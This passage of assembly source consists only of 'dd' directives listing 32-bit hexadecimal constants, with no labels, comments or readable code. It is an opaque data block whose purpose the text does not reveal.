dd 0CD2E106h, 0C00F01C0h, 0B6DD3201h, 48558B7Bh, 0F2F9C47Ch
dd 0C54B8205h, 42034B23h, 3E0A045Dh, 0D46036D4h, 30C46BEDh
dd 0CE12D88Bh, 72D07C04h, 10DB603Eh, 7C53DB7Ch, 0DB6BE4B2h
dd 0FFD5CDE0h, 106DD62Bh, 0D9DE24D8h, 36034034h, 2E2AE290h
dd 0E2DE2CD4h, 27051E2Eh, 3E32E31Eh, 0D8EE31E3h, 9ED9ED69h
dd 0FD67D9BDh, 0E3CE3CE2h, 87069077h, 0E420690h, 4EE43E4h
dd 72B33044h, 4B33E130h, 0D6EC7E04h, 8D8E06Bh, 4E08E2DEh
dd 0E3204703h, 77E51D8Fh, 0AE5AE590h, 51059E5h, 3DD92E50h
dd 0DE62E61Eh, 2D06BE2h, 7568E02Bh, 0B338DA5Ah, 0BEFBFA02h
dd 83DBEB3Eh, 2DDD02CCh, 0E1705FDDh, 16DB9B24h, 6B24B2CCh
dd 2DCFFED7h, 0DB8DBDDEh, 80E81E80h, 0ADDD4DBEh, 0D3EBF9C8h
dd 44D42E3Bh, 0E03C059Dh, 63E77C7h, 92E4A4DBh, 2BBD04CEh
dd 0C07E96E8h, 7CB43DE3h, 606C031Eh, 0D9705903h, 0A1DEAD60h
dd 9D79C7BEh, 3106CE2h, 0DA06706Fh, 303ADF17h, 0BA5006DFh
dd 2DBA7037h, 0DA4E999Dh, 54FB02D2h, 753B058Ch, 0D03EDABEh
dd 0B33EBDBBh, 45044C10h, 4EC406E0h, 59E43ECh, 94055EA7h
dd 2D7503EEh, 44083C1h, 83085C9Eh, 3B33B510h, 0E13ED4BFh
dd 79C01B52h, 9D72B2CEh, 0E2AD96D9h, 55D45E9Eh, 9E63E51Eh
dd 0EE7043E0h, 45E0A043h, 2EE5E520h, 0D92E33E5h, 9ED90EF0h
dd 9E27E50Dh, 0EF7EEA04h, 0E9E0AEF8h, 0A06EEF7Eh, 8707A07h
dd 87EFEF00h, 906E0810h, 0B2403105h, 28BF3031h, 2D6EE4DBh
dd 49E2CE3h, 53049F10h, 9F0EE2CEh, 0EC5EEAE0h, 62EEB06Eh
dd 0DEED043Eh, 51EEAE3h, 6D06BE0Bh, 6B91AE10h, 0FE68A7FEh
dd 0B28B3406h, 27B51BF4h, 4BDFDB5Bh, 0B91B2EE0h, 55BEEC0Fh
dd 0EE4C0440h, 0F38F38C7h, 45ED6044h, 0EC52E1CBh, 46F40E1h
dd 53DB2B1Ah, 0A01FB22Ch, 4503602h, 59E0AEFBh, 0AEA70360h
dd 0C10DB5B2h, 28B2AB30h, 4C01EDABh, 0F39B46C1h, 0A6E9CF5Ah
dd 0FF5BDEAEh, 0D60B44C7h, 2D02EE2Ah, 80E3EAA0h, 69E35705h
dd 80037BA4h, 0D0EDAF00h, 92300B00h, 4D00C016h, 949FB02Ah
dd 0B18E03EBh, 19C53DB5h, 1C10B34Bh, 43F4A03h, 19050050h
dd 0BF4D069Fh, 46E77DEh, 13E7CE9Ah, 0DB3EF56Ch, 0B2BEDAE7h
dd 6BD6CEDEh, 0AE8B03C0h, 0EF4E42E5h, 18F17EE4h, 0F064F18Fh
dd 0F9DF84F9h, 0F8FA3EF9h, 7EE0E2FEh, 0FA9FA8FAh, 43D42E29h
dd 4064EC40h, 0FB006EF0h, 6406EF9Dh, 7EFEF180h, 0EFEFB8FBh
dd 5AF22045h, 0D06D044Fh, 0EE106BE4h, 0A4E2CD44h, 1EF7FC5Fh
dd 0FC9F9F08h, 1AF19F9Fh
dd 0FE20F1FFh, 0EFA5FC6Fh, 0F4CFA5E2h, 9006D036h, 906FDB8Eh
dd 0DABEBBB5h, 90E12D87h, 0CC8FE94Ch, 0F28EBDEBh, 55B3EB33h
dd 4F2CF390h, 0F7CE6FBFh, 91B91FE2h, 8BFB06FCh, 0E7BF28F2h
dd 0A106E077h, 0C069EC6Fh, 0B26E8D03h, 5BBEBF29h, 0D100F36Fh
dd 82154DA6h, 3C1E0D05h, 42C62448h, 0F21D0D36h, 4D83C880h
dd 2D0B898Ch, 0B19810C6h, 592C9ACDh, 0D1B164D2h, 71BA0CE2h
dd 0F13C9E6Ah, 13408032h, 0A1048040h, 3C0D76Bh, 6C160804h
dd 61B06032h, 42308743h, 0E1490494h, 0F87E843h, 198E8C46h
dd 11A95463h, 0B690461Fh, 0C6255168h, 0AC502190h, 259229BAh
dd 3117144Ah, 5A8D4054h, 85C5E350h, 45808040h, 462D169Bh
dd 0BC546D15h, 494A155h, 5C2EB809h, 82EBB100h, 361B0F0Dh
dd 0D905FE3Ah, 0ADD6C6D7h, 361F0C45h, 1931358Ch, 0BB185032h
dd 0F118AC81h, 845CA64h, 599C1147h, 9DCE1AF3h, 0FDFEF735h
dd 0E272187Bh, 2F23A5C8h, 0B55A93D6h, 5C45326Ah, 0B1AB29B4h
dd 34BEDE4Dh, 5CB8D36Ch, 0C6623759h, 0AE4B7BBDh, 70F8597Ch
dd 0DB6DC2E2h, 0C482A170h, 3F44A514h, 0E5F2E974h, 420F974Bh
dd 0EA10E857h, 37930983h, 0AC7DD9h, 7789942Fh, 4BB349EFh
dd 0FB7DE2FFh, 704A876h, 748B4412h, 0E8A1790Ch, 6F47DFEDh
dd 0EDFD05B4h, 898C5BDAh, 0A8C68B21h, 902B0282h, 0A84AFABAh
dd 42005416h, 7AF285A0h, 0D4B7A32Dh, 0D82D30A2h, 62BCA2Ch
dd 61B0D617h, 2434AE8Dh, 0DEA8A04Bh, 16B34D9Bh, 1D6740F2h
dd 43A0E82Dh, 38BC9510h, 0D4750E69h, 5816089h, 8331C270h
dd 0C2103A9Dh, 0C858178Fh, 0DEA40DEEh, 0A80AB220h, 0BE522486h
dd 8852A231h, 0F43AADB2h, 882348EAh, 0D90AA220h, 0C2AB241Ch
dd 0E822C282h, 30C6F822h, 20B7AA12h, 35AF0B34h, 0B4AD0878h
dd 8C2B6CDBh, 2320DDB0h, 46C78DC3h, 38ACFE33h, 0B3BCEEAAh
dd 0E86828CEh, 50DC3CBh, 4108EADBh, 0B3F41507h, 0C3886BEh
dd 5345454Fh, 56324E4Ch, 0AE0C8D63h, 2C6AF4B0h, 0C23AFA17h
dd 0AB893606h, 0DCD23773h, 0C6542408h, 510C5102h, 428B0EE1h
dd 2B1154CFh, 86C353CCh, 0F9854AE0h, 3ECFABE8h, 8ECA901Fh
dd 0F3C6B489h, 0F15EBD01h, 0FD284FBBh, 8C6A12D2h, 485AED31h
dd 0E42909A0h, 9C1F3D35h, 25294A5Bh, 0BAAA288Dh, 216D86A2h
dd 0C8A02286h, 3103AB33h, 850AAB02h, 0A33654ACh, 0AA7ABD0Ch
dd 62C8B042h, 0CBB4357h, 8B43ECE5h, 2210DC2Eh, 22DD041Bh
dd 69A4690Fh, 522A0842h, 27C60022h, 0C6A77C64h, 49C4711Bh
dd 8849E27h, 0A0160581h, 68A92A5Dh, 58CA7291h, 6C032EB8h
dd 0C3FEB722h, 0CA36ADF6h, 18DE4B34h, 0DD2FFDD4h, 0A81E3D05h
dd 32BE2305h, 0F3062E62h, 362F532Ah, 0B2ED0338h, 0CCAB8ADBh
dd 755CD3B4h, 3AC08A35h, 0B419A4FEh, 0B4336E8Eh, 2D5ACCC3h
dd 28D2D142h, 0DEB53393h, 8DD518F4h, 6153922Ch, 0E42E8C5Eh
dd 2CE1E8F0h, 9D5199E3h, 388E2B27h, 0D4E6C2DCh, 2566E4B2h
dd 0D5200BEFh, 24BE5206h, 3BB2DBDBh, 6ECEE75Ah, 36E0378Ch
dd 61303B92h, 30DE7643h, 0EE4F5AD1h, 525485B9h, 7C932249h
dd 0D218C8CAh, 0C3D10370h, 0ABEBB23Ah, 92A5C592h, 0FC1EB188h
dd 990AC8F0h, 76A14828h, 33A8722Dh, 9ABE45D1h, 0E5EC1B5Eh
dd 0A57D0C6Ch, 805FC341h, 46B82605h, 1D98180Ch, 38371D27h
dd 59860601h, 89D68E90h, 42EB82D1h, 4870B2C0h, 0F488FFE3h
dd 217A2D01h, 8305564Ch, 56FB43E2h, 42AEF15Dh, 68B6A372h
dd 82B32EEBh, 3C079E2Fh, 0EE2C8F0h, 0F3588F42h, 423AC266h
dd 0E8D188BAh, 4DFCB3DCh, 420E3B87h, 77BDDFF9h, 1C21F9FCh
dd 39547D3Bh, 4390E34Dh, 480D5520h, 0BB208218h, 477E4C84h
dd 0FEF90170h, 0E33F94D8h, 8C5189B8h, 241A4373h, 2CCB38C8h
dd 0C3647DF0h, 47F26120h, 0CCA8E483h, 4F92D028h, 14E5A2C5h
dd 6E8AD50Ah, 5A96B9F4h, 0D9AC6292h, 0CB2BCF30h, 6A534B42h
dd 10E71D25h, 5AD759E5h, 846510Ah, 29D50097h, 18E16C63h
dd 20C78309h, 2DC59990h, 5A52595Fh, 0AA96064Ch, 0ED72E5B5h
dd 0E111DD22h, 0D8173D92h, 92F9812Bh, 0F75A3986h, 449D17AFh
dd 9828EA0Bh, 3070188Dh, 7A0489Ch, 1D02A01Ah, 4A0760C0h
dd 8E11E23Ch, 0E31C6370h, 404988E8h, 409A1202h, 71111E44h
dd 425E3E09h, 63B47A8Fh, 8E12720h, 8ED21642h, 26E3E09Ah
dd 3E48B12Ch, 8D11A222h, 18242408h, 14464931h, 3C8692D2h
dd 212026A4h, 82143907h, 44188309h, 0C5323443h, 94C1C4B1h
dd 28CE976h, 0BF11D68Bh, 778241DCh, 0F6659540h, 0F4CBC194h
dd 79194329h, 0D688CD10h, 66750E27h, 8DC19C43h, 0C5FE5656h
dd 0D04DB0AAh, 103CC698h, 0AF12BB2Ah, 33CE88BCh, 308E117Dh
dd 6A4B47D1h, 539A9356h, 0E0C9036Bh, 41BF9682h, 3A473DE5h
dd 43E4DCE1h, 2BB98B21h, 618AF35Eh, 0B159C338h, 65098A24h
dd 475AC831h, 2431A224h, 0CB64C776h, 32575643h, 2A6EA462h
dd 5B772849h, 722F13D0h, 86C97621h, 17A9525Ch, 82E3901Bh
dd 1CC1FC31h, 0E57F45Ah, 2F84F8BAh, 17072C16h, 701781CDh
dd 0F42C0580h, 386707A0h, 104E13C3h, 0EB398704h, 0CA6BBC3Ch
dd 0BF373082h, 48F0C229h, 5396A314h, 61268360h, 2843C662h
dd 3E5818DBh, 39612BF8h, 0CAF32DA5h, 61064126h, 123E534Ah
dd 44989312h, 0D4AA9421h, 91724E3Ah, 546A854Fh, 0AA09BAA5h
dd 98131552h, 0B554AAB0h, 0F6AA551Ah, 6C911111h, 0BAA91F44h
dd 75782BD5h, 0EA88978Fh, 0D6BAD555h, 7FD22EABh, 5BAAD887h
dd 0AAD4F131h, 53AED5C6h, 0B026EAADh, 0B556FECAh, 7CAB55C2h
dd 2D5AEC05h, 16C256F1h, 748CB096h, 0F8F31FE4h, 52464848h
dd 0AC849193h, 59392F1Dh, 92925ACAh, 1DA42494h, 0A7878111h
dd 908FD596h, 0E5652CC4h, 8E384728h, 0D4811F6h, 0DACF1E24h
dd 0F62A3F47h, 6C9890B1h, 48A12F6Ah, 0B3F5744Bh, 68640D8Dh
dd 4458EB29h, 0AF1351F6h, 3706C8Dh, 0FC4B8789h, 98789156h
dd 0C1CC2104h, 344E88BAh, 0A3246276h, 8678CCEDh, 520840Dh
dd 0C48A6D28h, 0D802D6EAh, 6B305428h, 0B73F0F7Ah, 10EE1FF4h
dd 0D4F058CEh, 8390FECAh, 297DBF11h, 0E9FD3D7Ah, 52D21683h
dd 48CB6FAh, 9412944h, 0E04C9FEh, 0CC68C601h, 0FD02666Ch
dd 1EC3C132h, 70510EE2h, 99D8266h, 0CA22921h, 7004BB7Fh
dd 40A5CC83h, 6C89AE6Ah, 14609045h, 0F7CD5C32h, 1295D059h
dd 0F504EC34h, 80E23FB4h, 0CBFEB0D8h, 0A9878930h, 0AC688EAAh
dd 5E2BC55Dh, 53F424B2h, 4B0A9DFEh, 4A342362h, 21529476h
dd 43C6662Ah, 8E4A8440h, 0A5E37C75h, 0F13F4DCCh, 1B32A5FDh
dd 3B20CDBCh, 0F1B06225h, 4FCF9CBh, 4B2E2184h, 5612BDBBh
dd 4FAA56F0h, 0BE9976FAh, 434BCB7Dh, 0D7C5BA1Fh, 68C08C5h
dd 18C2231Bh, 580C8190h, 2DD50340h, 73E4B169h, 45A24ABh
dd 0DE79C29Ah, 24B89578h, 2A856B28h, 0C890EA75h, 0A6252444h
dd 0D808D498h, 0D68788B3h, 532E96CBh, 730E288Bh, 12FC7658h
dd 6F0C3BBEh, 604A9774h, 5840EE14h, 4F847F02h, 2DF052F0h
dd 5FA588A5h, 7D3052D6h, 857F48D3h, 0E6B2AA9h, 6CC43807h
dd 0E0D32CF5h, 0FF443D6h, 0D37069C5h, 62653D8Ah, 0D7388B5Bh
dd 0B79FD26Dh, 8A11522Ah, 31644454h, 4B36576Eh, 35C29F36h
dd 1215D9BBh, 0C3329FC8h, 0C5329D65h, 366960C6h, 1443CD9Dh
dd 5013C26Fh, 0B28CC19Ch, 0ED96079Fh, 142DF798h, 0BEAB02C9h
dd 0FE2AA945h, 3CCE6919h
dd 637C4A45h, 5C35B400h, 92572BEDh, 0F206E58Dh, 24281731h
dd 28850ECCh, 66660317h, 0BA37411Ah, 0F40B66Bh, 2030D276h
dd 4BC9B091h, 0EE869AAAh, 252A197Ch, 1BD95D44h, 0FCFED24Ch
dd 5B2B4124h, 0E161E44Ah, 82E43842h, 0C978C8C0h, 0F8EAB2Ah
dd 0F05D761Ch, 950D3A4Ch, 0FD2B0906h, 69412EF4h, 0BBFEC4F8h
dd 37C60D03h, 6F31FBA8h, 93FB7CC9h, 0C0597906h, 818A0A96h
dd 0ABDB29C1h, 408515BAh, 0AFE34E38h, 71060DD2h, 86C1E9B3h
dd 9EAF6738h, 8C4FAD8Ch, 4705AE75h, 28272280h, 0B406B2BBh
dd 495B29CFh, 0B3F676CBh, 6837C429h, 3943C60Ah, 8AF2016Dh
dd 4D5C2155h, 8E50E1CBh, 64D81172h, 13778F03h, 373CE3DBh
dd 2B0E3447h, 971BD490h, 0B5A97B57h, 0AC3D83F3h, 5EBE7A9Dh
dd 0F183696Eh, 18BBEFE2h, 0ED0F0F21h, 0E605C097h, 0F1847405h
dd 0B8470746h, 70C03BC2h, 2CFE4967h, 25453F89h, 0A9AE7487h
dd 0DDAB2428h, 0C790A1F0h, 0ADB4852Eh, 53C65CCCh, 578E95C4h
dd 2DFA7A86h, 7DF16FB4h, 9E537DCBh, 87801482h, 66460309h
dd 0A6C50DA5h, 7FE1E9FEh, 0DEB5B7CEh, 0D1345959h, 77C00721h
dd 66D37E1h, 0CB004B53h, 61B94386h, 3515D29Ah, 0A6419D04h
dd 53C7E32Ah, 4C3376D2h, 801D68E1h, 0A8550271h, 0D32A4FCAh
dd 0AB318A3Ch, 0C2939FF1h, 1EF59966h, 0BC2E8A1Eh, 36C17908h
dd 2731C321h, 32151693h, 90D28082h, 2013F3B1h, 0A15BB8FBh
dd 18A174BBh, 403D4388h, 602C9361h, 0BD81CAAFh, 0BC88DBD8h
dd 1B8E1C73h, 2ED341A8h, 3E00F8F4h, 0E9A108A3h, 41539313h
dd 640AE976h, 0D0390221h, 3CB82E9Eh, 2D02A2E6h, 43818020h
dd 0B343CE89h, 36B362E8h, 101100D3h, 3E01D02h, 3AACA237h
dd 0FA3C846Ah, 84B2CE1Eh, 0A203C424h, 0E427A4E2h, 4292A5A4h
dd 44038839h, 0FFBAFEA8h, 81EFB141h, 2A208688h, 0F5841A53h
dd 1213728h, 8BD838A5h, 87279088h, 0B26D9760h, 0ED348A1h
dd 5937494Dh, 0F94D0BFAh, 935835A5h, 1A7022h, 70AD8372h
dd 0BDF34F9Fh, 7CB99BD4h, 6B4994BAh, 2040DB9Fh, 7306998h
dd 4BA7144Ah, 8AB3F1C4h, 0F3C46C46h, 51C6BF43h, 1544453Fh
dd 370CBBA7h, 5BE78D48h, 0C493F80Dh, 383AE13Ch, 38321481h
dd 25915204h, 0A98CB25Ah, 3B9E9CF9h, 81894A17h, 0A6B1B9BFh
dd 6B2231C0h, 0A953BFA7h, 70414BDEh, 49C136C1h, 8A3BB4A2h
dd 0BE40A159h, 0A0E1AC9h, 371AF644h, 31A979CDh, 0A9F48359h
dd 2179BEBDh, 0EF1929C9h, 0B2274048h, 0A2725BC5h, 16BB09D2h
dd 89C91772h, 834419C1h, 1BC1A830h, 841D3CDCh, 54B352Eh
dd 7387F866h, 605B0664h, 8A28EF43h, 35B6F2F3h, 246729B9h
dd 995B2227h, 64936B3Eh, 2325A02Ah, 0A5A9801h, 5B45521Eh
dd 7C8758FEh, 52704558h, 88E8260Fh, 98257263h, 0FC738BFBh
dd 84095487h, 3D3FB948h, 9A63C3C8h, 0B1F438A0h, 0B1A781F9h
dd 70E1155Bh, 8B2086BBh, 0C90D3B60h, 44474470h, 40821BFh
dd 4A0AC44Eh, 2BF29F54h, 3F78C4BFh, 0D2C943FBh, 0F151C938h
dd 49A9388Dh, 0AB8D4A00h, 84B1FF2h, 4B2B6ACh, 3DAD62D6h
dd 0BCA04242h, 844423ADh, 4AAA42C7h, 1ACAACAAh, 2CB84724h
dd 0A94A3243h, 0DA4703C2h, 842A4EA4h, 0D2CAC4A5h, 0DACD23A2h
dd 43AA7ACh, 28038C26h, 94294284h, 9EFA5342h, 33E73AAh
dd 0E03C03BBh, 38C2EC2h, 0F5C30250h, 32A182A8h, 0C38C32A5h
dd 8B9CFA79h, 6907B620h, 41802603h, 3402E8B3h, 0FC6EAE58h
dd 3CE41C46h, 1C334BCFh, 64860549h, 0A7105D48h, 69C13925h
dd 53BF38E2h, 1C3AF28Bh, 37B79AEEh, 273A1F4h, 365994AAh
dd 0BCB90B6Dh, 0BC86018Ch, 0BE13E088h, 0FE0A821Ah, 550BF9A1h
dd 0D07985D8h, 0DC4860Ch, 1A843Bh, 5C52840Ah, 9F935393h
dd 0D639EB40h, 11F7154Bh, 22999814h, 0F01B0444h, 0C4969A63h
dd 4E2156BAh, 478C294Fh, 8C50CD99h, 1A63AE1Ah, 0DABE749Ch
dd 883BA624h, 8C920920h, 49C1448Ah, 68C01E1Bh, 8200B740h
dd 113421E6h, 3A0FC58Ah, 0B8829D40h, 408C2405h, 2C7A3203h
dd 8EF0A540h, 6F2950FCh, 20DB14D3h, 21520F3Ah, 0FE8B6CF7h
dd 93998E12h, 959466B0h, 77229C02h, 62F61FB9h, 0B2A110C6h
dd 16B2A0B7h, 9328260h, 46F331CCh, 33CC341Bh, 591C471Bh
dd 85847387h, 1647280Dh, 80EF3210h, 155B890Ah, 0DA8248AAh
dd 9B6D02ABh, 216215C7h, 27B8D3C1h, 527D4069h, 8EA92916h
dd 2CA72BD2h, 2036A271h, 8B79654Dh, 0B031DA98h, 0CA9A0888h
dd 0CD7C8602h, 0E68ADC73h, 3B1444D3h, 0CF99FC5h, 0CE3B7267h
dd 63551CC0h, 1A0127B5h, 0C8FE39D2h, 8FB0C263h, 0DC8A0C00h
dd 439ADB0h, 0C019F4E5h, 52D1538h, 1389FFA0h, 0AC3FA0D2h
dd 0D5334960h, 35A8D544h, 0C8A61B58h, 119F2638h, 8C44E44Eh
dd 263998C0h, 2463217Dh, 2703B519h, 0F3C40CCCh, 9A97BFE9h
dd 1CD28015h, 0F8FA367h, 0B29ACCCDh, 459B8F4Fh, 249C3B72h
dd 0E8360369h, 0A6637508h, 5F2F7410h, 13B0BD3Ch, 25C282CDh
dd 692B081h, 45070ED9h, 0A2D07583h, 93C70508h, 0FD0A02F0h
dd 4861843Ch, 8681380Dh, 0B9E81E49h, 81B0A91Bh, 1B33FC45h
dd 2CB95128h, 0D83B3C6h, 4683708Fh, 99E21034h, 0CCF4BD88h
dd 5881F3DCh, 60878225h, 2D425303h, 0A248623Bh, 0B130841Ah
dd 0A770B9AFh, 860BB400h, 0EC86300Ch, 0B4E3022Fh, 3FD2588Fh
dd 0C1984554h, 20B8DA0Bh, 4D6F3EEh, 0B13D9F32h, 3EA93F48h
dd 1ED1E8C1h, 10E188F5h, 238DB26h, 2EA54A66h, 31FED785h
dd 0C4C9FF31h, 1271FE9Dh, 9D8C3155h, 0A35AAA84h, 3F2946C8h
dd 338C4311h, 1D281A5Dh, 0A238BB3Bh, 19920FFh, 48F88A3Ch
dd 3EF8D81Eh, 0B331FB40h, 8970BDCBh, 3B99C240h, 0CBCCD36Fh
dd 0E9950170h, 8F94088Fh, 8DAF4CFDh, 6A170AE3h, 8A418E58h
dd 808A28F4h, 9223D4C2h, 0D1C28259h, 2A105B2Eh, 14C054FBh
dd 0CC2D51CCh, 8BB33BCDh, 0C01C81C2h, 81C5A181h, 30D0C07Ch
dd 8404A920h, 0C73CC68Ah, 0C1852862h, 207FD0B8h, 8520AA05h
dd 79875C73h, 80554738h, 0C738528Ah, 550A8052h, 5879C738h
dd 5AB5AC19h, 2296E057h, 0C05B4860h, 0AE875DAh, 79DA8857h
dd 0D9B405D8h, 0DB217A3Dh, 5987987Fh, 602A8A40h, 859CB6C8h
dd 4885DDB7h, 6DB5DB4Ah, 0C73CC604h, 0BFC8623Eh, 0DABCABC2h
dd 0A47AB304h, 0DFADF23Ch, 0BDC55C82h, 2B50D52Ah, 0DA5C52A8h
dd 0B2B9C9E2h, 5C6A46DCh, 3FDCF2C5h, 0BC9E2DAAh, 83C5CC5Ch
dd 426046FEh, 45AB4ABAh, 0BABCAAC2h, 2C12BD2Ah, 0BBDD549Eh
dd 12455D1Ah, 95099D58h, 0EA0C8D32h, 64959F54h, 452D5F49h
dd 458CC0CCh, 5225A6CBh, 1C49308Bh, 79D89C57h, 0EBFE38CBh
dd 58CA243Fh, 8A818971h, 8D40462Bh, 8C4CCC8Ah, 37890BF4h
dd 82F13728h, 0A8C570Fh, 0AA9F5548h, 0E0AC9028h, 2F0B6225h
dd 305469BBh, 23180A91h, 2C82A3AAh, 0C82E05C8h, 49A3AAh
dd 0AC60492Dh, 5246E042h, 8CC4509Dh, 0CC685D2Eh, 0C212E0A0h
dd 207CC73Dh, 85983485h, 0C305B473h, 5E0405B0h, 85D07FE0h
dd 5B6068EDh, 0FDFF0820h, 0AEE05B07h, 59DC2071h, 0B6010C70h
dd 60A03605h, 0FD5B14C6h, 38BDA820h, 85B5C206h, 0AF56B0A2h
dd 9C8660F8h, 51B1E707h, 1015613h, 9DAC107Eh, 0BA303587h
dd 9898C259h, 30BEAFF3h, 99917339h, 942623Fh, 0EB5FB74Ah
dd 3EDCEDCEh, 9981A0CCh, 637C51C3h, 0FEB036E2h, 0E2803B81h
dd 28628257h, 690F02CEh
dd 8CE10810h, 28B979F0h, 0BA6352C6h, 629B5BB5h, 0FA94D628h
dd 8C251A14h, 349EFAAh, 503F21AFh, 0AC93C9A9h, 3F4492CDh
dd 0A215316Eh, 0ECFBCFB1h, 0CF399245h, 630A2123h, 2A619779h
dd 0B77085BCh, 97434DE7h, 996C9292h, 93BBF13Dh, 0F18ED090h
dd 3A255A50h, 90D9958Ah, 0CB4479A4h, 934643F8h, 95BB779Ch
dd 19177373h, 0F0B0992Bh, 109B933Fh, 8B02D815h, 59C8151h
dd 9D650782h, 2C1B09Eh, 75FE59F0h, 80B11C00h, 0B07CE0Fh
dd 54860B06h, 60A01505h, 0A310E05Dh, 28AD863Dh, 5287FE1h
dd 7FDA3015h, 465C8A80h, 96A6018Ah, 0B014B9AAh, 307307FDh
dd 32A6160Ch, 7FE03820h, 0A0B78638h, 0D8705DE0h, 0BC815193h
dd 0B0570B70h, 56B343DAh, 63E69817h, 0B60A0BB0h, 0E1610F05h
dd 73E638FEh, 0FDA83894h, 4D887587h, 8EBA5957h, 0B0F7CCE0h
dd 0A1FEEF0Bh, 6378DF35h, 151AEC95h, 0BB0943EBh, 0C95B9E92h
dd 50BFA5DBh, 0D10F20A9h, 3F90C2A5h, 998C8150h, 0CC9BC9ACh
dd 1EFC25C4h, 0C2158258h, 0A9EF55A8h, 271EFB5h, 8FA3C827h
dd 1396348h, 1C603D45h, 0A5D82A0Ah, 0F8DE99D1h, 31F1A088h
dd 0C3882036h, 0EDEE9CE1h, 371BD81Ch, 0BF4CC122h, 63169540h
dd 8256783h, 0CAA249BBh, 469F0851h, 12A1CE88h, 3183481Eh
dd 60AC93A5h, 82208269h, 30083697h, 88D8FFCh, 8AB96D9Fh
dd 7AD3A208h, 0C1596503h, 2EEA9F15h, 0FD92AC34h, 982D8A10h
dd 1D26248Dh, 4204D6Ah, 0C822081Ah, 0C198120Bh, 2102901Dh
dd 600202F0h, 0D5455365h, 9C657A31h, 647289B0h, 0C73E5AE1h
dd 86DB0DADh, 0F47385D8h, 26CDB08Bh, 0B202AE73h, 6826079Dh
dd 12485D60h, 8FDC25B7h, 60524860h, 52DB22Fh, 835B0E40h
dd 62168B70h, 9634C66Ch, 0BCEC9670h, 60CE5B08h, 5052FEC8h
dd 0CD2031E7h, 58AD14Bh, 0F67885B6h, 99F3A594h, 0BB08267Ah
dd 0D2CE02C8h, 0BA7E7D57h, 8E3A8E7Eh, 212BC433h, 8289F950h
dd 0F8E865DCh, 0E25FE83Bh, 9521F54Dh, 879475DBh, 1BE76886h
dd 0BA69FEACh, 9AD11821h, 0C0363FE3h, 42658103h, 55C441F0h
dd 6E875DC9h, 53633F9Ch, 0F943ECE1h, 0F8F30B79h, 18A63D82h
dd 6AC791E0h, 39978A53h, 0BA225A82h, 96D45A6Dh, 0F64D26D2h
dd 93E3898Bh, 0BA0B88D7h, 220FB6B3h, 828B6F01h, 0F90AD93Ch
dd 1A969ED9h, 0D050A4A7h, 26AF9E4Dh, 0A81766DBh, 0D1EC40EFh
dd 4108086h, 0B6B45E8Ah, 2870120Bh, 94EB69D6h, 98946B88h
dd 6BA805EBh, 900B1DBh, 76618580h, 0C8601F4Ch, 0BE486224h
dd 0F05707FEh, 65160AE6h, 0AE079E66h, 2DAC079Dh, 54DB205h
dd 0C27158E9h, 756B37ADh, 6010170Bh, 9698F4C6h, 5CC671BAh
dd 71EE7099h, 86035D6Ch, 295B9C0Ch, 0F328EDFEh, 1B185766h
dd 53EEE679h, 93194F64h, 9A76D938h, 24CDA8DEh, 35DE4928h
dd 0CC3A40Dh, 302811F9h, 9EDE8BCBh, 13DCDABFh, 0C2BD5684h
dd 41514990h, 4886E4EEh, 6914096Eh, 0A03C133Bh, 1E1F3A48h
dd 2E9E1C85h, 1B0CC95h, 1E22570Ch, 220B22F6h, 0E8EE8AF8h
dd 4085629Dh, 83C0D126h, 0AA7B0B00h, 0ADBEF9Ah, 0F098D67Ah
dd 5826371Ah, 8B15E2D4h, 0C09EEC56h, 8DE18890h, 1C38F88Ah
dd 8682AB90h, 252B5488h, 9D2B1F9Eh, 2A884964h, 0F88C64F9h
dd 0E31E481Bh, 0DD9736B1h, 709085Eh, 4C1F0A02h, 0C030021h
dd 0EC1DE56Fh, 0C00C70h, 15A8F81Ch, 0A04A07CFh, 24948604h
dd 42486047h, 0D50B847Ah, 85560A05h, 0B2049A47h, 0F607062Dh
dd 5BB4735Fh, 0B204A762h, 2DC185B5h, 48604BDCh, 22F6F2A3h
dd 0B5F807CFh, 76D2A423h, 18EBDF64h, 156AC73Eh, 6BDED077h
dd 0AD725EA7h, 0FE525AA8h, 8ED5F278h, 72999F72h, 2B14B90Ch
dd 33FB9A87h, 9AF35D73h, 9B3FD72Eh, 0CF7D4002h, 73210810h
dd 5D6E0C96h, 64994D8Ah, 0E8703263h, 0E65DB951h, 20330D54h
dd 3303303h, 4BC61738h, 0A08F10F1h, 0EAB48562h, 2A0871CFh
dd 72504B79h, 0C3431810h, 2D88C503h, 0FB221690h, 2929B600h
dd 0B4F4AC36h, 4962CF80h, 0BCEB2F0h, 5F9953C8h, 7C681609h
dd 0B6E8F6EFh, 0A182DCD2h, 0ECCF9597h, 814B9595h, 5C9300F4h
dd 74CE9D12h, 226B2590h, 311EC6F8h, 56481311h, 0D9A96470h
dd 7130932Eh, 23804189h, 0F0C801B3h, 1C657553h, 680C0059h
dd 30033B3h, 3E03E486h, 0E0364D20h, 992DBB5Ah, 0BB718E05h
dd 0CE69D1C5h, 6046665Ah, 86014BE2h, 201202ECh, 473CD1CDh
dd 47EC908Dh, 88868BDDh, 831EA488h, 2248602Fh, 0E0824861h
dd 0A035AEECh, 0A8713C39h, 756B1E98h, 20643D74h, 6E8ADF80h
dd 6FEF291h, 0E01B77D4h, 77FC88F7h, 81F850DDh, 0FC664DD7h
dd 72E731D6h, 85A080C8h, 0F786BD57h, 0E826366Dh, 3BC99FD9h
dd 0D78B78B4h, 43FA043Bh, 3308F88Eh, 8C2EA79Ch, 84E24A24h
dd 0E2FE27E1h, 7DF87E27h, 0AD42A42Dh, 6C047A41h, 87E7FE77h
dd 7E184AFEh, 0DD2CB849h, 0A84704AAh, 7EBFEC84h, 0A02DF847h
dd 52482AFCh, 4D249FEh, 0E87E9046h, 0C7EC84A7h, 0A49A37F6h
dd 0C9AA42A3h, 6AB00462h, 76804184h, 0E87657E5h, 704824C7h
dd 2C7A3E5Ch, 4CF70248h, 2E304DAh, 209A4D08h, 0C8E49A41h
dd 9347A3D1h, 52AC310Ah, 368B48C5h, 50BA262Eh, 8A881131h
dd 2351A8Ch, 0AA6D369h, 80401711h, 0CE63F974h, 54211A1Ch
dd 0E0280CBCh, 2F13C9E5h, 5845DEEAh, 2C180B0h, 0C2760C07h
dd 0C24A963Ah, 0FEFF5B06h, 65F163ADh, 3152BFE8h, 0E5D50D8Eh
dd 0A43CE331h, 0CC523CB6h, 8B5E7437h, 0E5FF5116h, 62B1FE4Bh
dd 0A9A40F85h, 118D0E84h, 5DC6E903h, 58C55557h, 44CD6BB3h
dd 0B45C361Bh, 85846319h, 0C6FFB258h, 913A40A8h, 40553CECh
